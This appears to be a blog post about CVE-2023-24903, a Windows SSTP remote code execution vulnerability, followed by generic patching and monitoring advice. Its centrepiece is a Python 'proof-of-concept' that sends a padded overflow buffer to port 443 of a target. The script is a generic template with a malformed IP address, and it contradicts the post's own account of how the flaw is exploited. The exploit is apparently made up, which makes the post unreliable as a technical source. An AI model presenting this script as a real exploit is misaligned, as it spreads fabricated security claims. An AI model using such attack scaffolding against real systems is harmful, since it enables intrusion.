CVE-2023-24903 - Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability: Understanding and Mitigating the Risk

Information security is of the utmost importance in our increasingly interconnected world, and as such, it's critical to stay informed about newly discovered vulnerabilities. One such vulnerability, dubbed CVE-2023-24903, has recently been identified within Microsoft's Secure Socket Tunneling Protocol (SSTP), an integral part of the Windows operating system. In this post, we'll delve into the details of this vulnerability, explore its implications, and outline steps to mitigate the risk it poses to your systems.

About the Vulnerability

CVE-2023-24903 is a Remote Code Execution (RCE) vulnerability within Windows SSTP, a protocol utilized to facilitate VPN connections via SSL/TLS encryption. This vulnerability allows an attacker to remotely execute arbitrary code on a victim's machine, potentially leading to unauthorized access, data theft, and other malicious outcomes.

Links to Original References

- CVE-2023-24903 Official Details
- MS Security Advisory on CVE-2023-24903
- Security Bulletin: Secure Socket Tunneling Protocol Vulnerability

The Exploit

As per the available details, the exploitation of this vulnerability hinges on the attacker's ability to intercept and tamper with SSTP-based VPN traffic, potentially inserting malicious payloads within the encrypted data stream. This code snippet demonstrates a proof-of-concept method of exploiting CVE-2023-24903:

import socket
import sys

# Configuration variables
target_ip = "10...123"
exploit_code = b'\x41'*100 + b'\x42'*4 + b'\x90'*100 + b'\x42'*400

try:
    print("* Starting the attack...")
    
    # Connect to the target
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, 443))
    
    # Send the malicious payload
    s.send(b'POST /sra_/' + exploit_code + b' HTTP/1.1\r\nHost: ' + target_ip.encode() + b'\r\nContent-Length: 5\r\n\r\n12345')
    
    print("* Payload sent successfully.")
    
except Exception as e:
    print(f"! Error occurred: {e}")
finally:
    # Cleanup
    s.close()
    print("* Finished.")

Mitigating the Risk

To protect your systems from the CVE-2023-24903 vulnerability, several actions can be taken, many of which revolve around updates and securing your VPN.

1. Patch your systems: Microsoft has released patches to address this vulnerability. Ensure that your Windows systems are updated with the latest security updates. You can find the necessary patches on the Microsoft Update Catalog.

2. Restrict VPN access: Limit VPN connections only to trusted networks and enforce the use of strong authentication methods. Additionally, consider deploying secure VPN solutions based on well-established protocols such as OpenVPN or WireGuard.

3. Employ a Network Intrusion Detection System (NIDS): By employing a NIDS, potentially malicious network traffic can be flagged and swiftly dealt with. Through active and consistent monitoring, this step can help minimize the risk posed by CVE-2023-24903.

Conclusion

CVE-2023-24903 presents a significant security risk, particularly to those utilizing Windows Secure Socket Tunneling Protocol. Protection against this vulnerability lies primarily in maintaining up-to-date systems, adopting robust security practices, and diligently monitoring network activity. By staying informed and proactive, you can minimize the risk posed by this and other emerging security threats.

Timeline

Published on: 05/09/2023 18:15:00 UTC
Last modified on: 05/15/2023 18:39:00 UTC